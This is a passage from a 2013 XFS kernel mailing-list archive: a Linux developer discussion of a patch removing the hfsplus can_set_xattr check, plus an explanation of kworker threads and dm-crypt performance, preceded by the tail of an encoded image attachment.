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 --001a1134db54f7550b04ee23d216-- From BATV+d3a3c0a80624384e4b20+3773+infradead.org+hch@bombadil.srs.infradead.org Sun Dec 22 13:28:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 04F567F66 for ; Sun, 22 Dec 2013 13:28:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CEA86304053 for ; Sun, 22 Dec 2013 11:28:47 -0800 (PST) X-ASG-Debug-ID: 1387740522-04cb6c537e8b7200001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id trePpjBXH2bg7F2i (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Dec 2013 11:28:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+d3a3c0a80624384e4b20+3773+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VuohG-0001ED-8D; Sun, 22 Dec 2013 19:28:18 +0000 Date: Sun, 22 Dec 2013 11:28:18 -0800 From: Christoph Hellwig To: Vyacheslav Dubeyko Cc: Christoph Hellwig , viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: Re: [PATCH 21/21] hfsplus: remove can_set_xattr Message-ID: <20131222192818.GA32565@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 21/21] hfsplus: remove can_set_xattr References: <20131220131635.650823732@bombadil.infradead.org> <20131220132524.900291394@bombadil.infradead.org> <636E01BC-12FD-452B-8B1C-320B6EADAEFD@dubeyko.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <636E01BC-12FD-452B-8B1C-320B6EADAEFD@dubeyko.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387740522 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143307 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Sat, Dec 21, 2013 at 08:07:51PM +0300, Vyacheslav Dubeyko wrote: > > -static int can_set_xattr(struct inode *inode, const char *name, > > - const void *value, size_t value_len) > > This function works for all handlers. So, I don't think that it makes sense > to delete it. It "works" in a minimal sense that it won't crash or actively cause harm. But it also is useless except for the check that we can abuse the osx namespace to set an attribute in another namespace, which we still do in the proper way after my patch. > > - if (!strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN)) { > > - /* > > - * This makes sure that we aren't trying to set an > > - * attribute in a different namespace by prefixing it > > - * with "osx." > > - */ > > - if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN)) > > - return -EOPNOTSUPP; > > I think that this check is important. It forbids such combinations as "osx.system.*" or > "osx.trusted.*", for example. Because "osx.*" is virtual namespace for xattrs that > it can be under Mac OS X. If you want to set xattr from "system.*" namespace, for example, > then you need to use another handler. And such namespace should be without > addition of "osx." prefix. Right, and we keep exactly the check, just in a different place. > The __hfsplus_setxattr() is common method for all handlers. So, removing > this call means that we don't check validity of namespace. I don't think > that such modification is a right way. The generic code already checks for the validity of the namespace for you. xattr_resolve_name in fs/xattr.c makes sure only attributes for a namespace that the filesystem registered can be set or modified. > > @@ -841,10 +761,6 @@ int hfsplus_removexattr(struct dentry *dentry, const char *name) > > if (!HFSPLUS_SB(inode->i_sb)->attr_tree) > > return -EOPNOTSUPP; > > > > - err = can_set_xattr(inode, name, NULL, 0); > > Ditto. Moreover, it is used namely hfsplus_removexattr() and not > __hfsplus_setxattr() for removing xattrs in hfsplus driver. So, removing > this check is not good way. Oh, I just noticed that hfsplus does not use the xattr handlers for removing, while it does for getting and setting xattrs. That's a really bad a confusing design, and we'll indeed need to fix that as well. > > if (len > HFSPLUS_ATTR_MAX_STRLEN) > > return -EOPNOTSUPP; > > > > + if (is_known_namespace(name)) > > + return -EOPNOTSUPP; > > If common check in __hfsplus_setxattr() will be on the same place then > this addition doesn't make sense. Having both does indeed not make sense, but this is the better place to have it. From david@fromorbit.com Sun Dec 22 14:15:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 654417F50 for ; Sun, 22 Dec 2013 14:15:07 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3AEAA8F8035 for ; Sun, 22 Dec 2013 12:15:04 -0800 (PST) X-ASG-Debug-ID: 1387743301-04cb6c537b8b7f40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 1EGQGc2v6FyEmT5r for ; Sun, 22 Dec 2013 12:15:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwKAPxHt1J5LHyk/2dsb2JhbABOBAaDC4M6sUGFUYETF3SCJQEBAQMBOhwXDAULCAMYCSUPBSUDIRECh3wHywkXFo4zGUMHgyOBEwSYFopMh0mDQSgE Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Dec 2013 06:44:54 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VupQJ-0004DP-2d; Mon, 23 Dec 2013 07:14:51 +1100 Date: Mon, 23 Dec 2013 07:14:51 +1100 From: Dave Chinner To: Stan Hoeppner Cc: xfs@oss.sgi.com, xfs@pzystorm.de, Christoph Hellwig Subject: Re: XFS blocked task in xlog_cil_force_lsn Message-ID: <20131222201450.GB3220@dastard> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> <20131221053032.GA3220@dastard> <52B6AE4D.5020104@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52B6AE4D.5020104@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387743301 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143307 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Dec 22, 2013 at 03:18:05AM -0600, Stan Hoeppner wrote: > On 12/20/2013 11:30 PM, Dave Chinner wrote: > > On Fri, Dec 20, 2013 at 06:36:33AM -0600, Stan Hoeppner wrote: > >> On 12/20/2013 4:26 AM, Kevin Richter wrote: > >>> 'top' while copying with stripe size of 2048 (the source disk is ntfs): > >>>> top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 > >>>> Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie > >>>> Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st > >>>> Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers > >>>> Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached > >>>> > >>>> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND > >>>> 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 > >>>> 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 > >>>> 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 > >>>> 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 > >>>> 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs > >>>> 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 > >>>> 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp > >>>> 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 > >>>> 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 > >>>> 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 > >>>> 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 > >> > >> Hmm, what's kworker/3:1? That's not a crypto thread eating 93% of a > >> SandyBridge core at only ~180 MB/s throughput is it? > > > > Kworkers are an anonymous kernel worker threads that do work that > > has been pushed to a workqueue. kworker/3:1 is the 2nd worker thread > > on CPU 3 (3:0 is the first). The kworker is a thread pool that grows > > and shrinks according to demand. > > > > As the naming suggests, kworker threads are per-CPU, and there can > > be hundreds of them per CPU is there is enough workqueue work blocks > > during execution of the work (e.g. on locks, waiting for IO, etc). > > If there is little blocking occurring, there might on ly be a couple > > of kworker threads that do all the work, and hence you see them > > consuming huge amounts of CPU on behalf of other systems... > > > > XFS uses workqueues for lots of things, so it's not unusual to see > > an IO or metadata heavy workload end up with this huge numbers of > > kworker threads doing work: > > > > > > .... > > $ ps -ef |grep kworker |wc -l > > 91 > > For the record, again, I've never used dm-crypt. I'm just trying to > work through the layers to identify the source of Kevin's problems. So > please don't clobber me too hard for going OT, or trying to speak > (somewhat) intelligently about something I'm just learning about... > > So, how does one identify who is doing work inside a worker thread? In > this case we're trying to figure out if dm-crypt might be eating a CPU > core thus limiting its throughput. However... perf top is your friend for finding out where the kernel is spending it's CPU time. It will tell you functions (and call chains) that are consuming CPU time rather than what individual threads are doing. If you really want to know what worker threads are doing, /proc/sysrq-trigger dumps the kworker threads with the name of the workqueue they are doing work on behalf of as well as the stack trace. > > I just read a thread on dm-devel about dm-crypt performance dated late > March 2013. It wasn't clear to me if dm-crypt yet uses unbound > workqueues, if it dispatches work to multiple queues, or if it still > uses the hand built dispatcher, as of kernel 3.11, which Kevin just > updated to. dm-crypt uses workqueues with a concurrency depth of 1, and kcryptd is defined as CPU intensive and so is scheduled like a long running kernel thread rather than a workqueue. Reads decrypting is done on IO completion, so if you've only got one CPU processing IO completions, then read decryption will effectively be single threaded due to the nature of per-cpu work queues and a concurrency depth of 1. > What was clear is that as of March dm-crypt was not preserving IO > ordering. If this is still the case, that would imply RMW with md > parity arrays, which would tend to explain Kevin's write throughput > being ~1/3rd of his read, and less than a single disk. encryption adds IO latency, so unless you have lots of concurrency to hide the latency, dm-crypt will almost always be slower than the same IO an equivalent unencrypted disk. Cheers, Dave. -- Dave Chinner david@fromorbit.com From mlsemon35@gmail.com Sun Dec 22 15:01:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C34D47F52 for ; Sun, 22 Dec 2013 15:01:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4B27CAC003 for ; Sun, 22 Dec 2013 13:01:20 -0800 (PST) X-ASG-Debug-ID: 1387746079-04cbb041668b16d0001-NocioJ Received: from mail-qc0-f171.google.com (mail-qc0-f171.google.com [209.85.216.171]) by cuda.sgi.com with ESMTP id SEjx6x96ZZeBgcd8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 22 Dec 2013 13:01:19 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] Received: by mail-qc0-f171.google.com with SMTP id c9so4208455qcz.2 for ; Sun, 22 Dec 2013 13:01:19 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; bh=LEfga3NnGzCs9xt/YCaJ9o0X0h7BJ7WnXncVapE+JpU=; b=Zf2QXalomgm/HijOAJa81m5n/usvp5aAP4FLkNIzNs+kyA8v2fZ7fvB83aU1zU3QPr bEyvb0kz1xqDkX8g9s46w8rusVl42zUE1LGUzWoslBWqgqutyj0R95UIYO1MNeze/8WA P9bPUd7vNcVWXt1jMLqhY8pqWwI8s/O4g3+3h3uZdqNLHSS6CmVluVNQUM545D2JjtxN 9xZ0V18BZjyf9Z53M1omzTvZkBgN0RvzS1fnJmndGp2bhk9YR5pppzXp4OEKmovkeDHy cie4O7asXAeAq5+O7MhZ3mDcZKF0DP5EbKxIP9PtHO3m5GIoOQh4IiSUp6nN+hCSkPrf F6NQ== X-Received: by 10.224.167.144 with SMTP id q16mr36137561qay.71.1387746078991; Sun, 22 Dec 2013 13:01:18 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id e2sm18072496qas.21.2013.12.22.13.01.18 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 22 Dec 2013 13:01:18 -0800 (PST) Message-ID: <52B7531A.6070909@gmail.com> Date: Sun, 22 Dec 2013 16:01:14 -0500 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> <20131221053032.GA3220@dastard> <52B6AE4D.5020104@hardwarefreak.com> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B6AE4D.5020104@hardwarefreak.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qc0-f171.google.com[209.85.216.171] X-Barracuda-Start-Time: 1387746079 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user 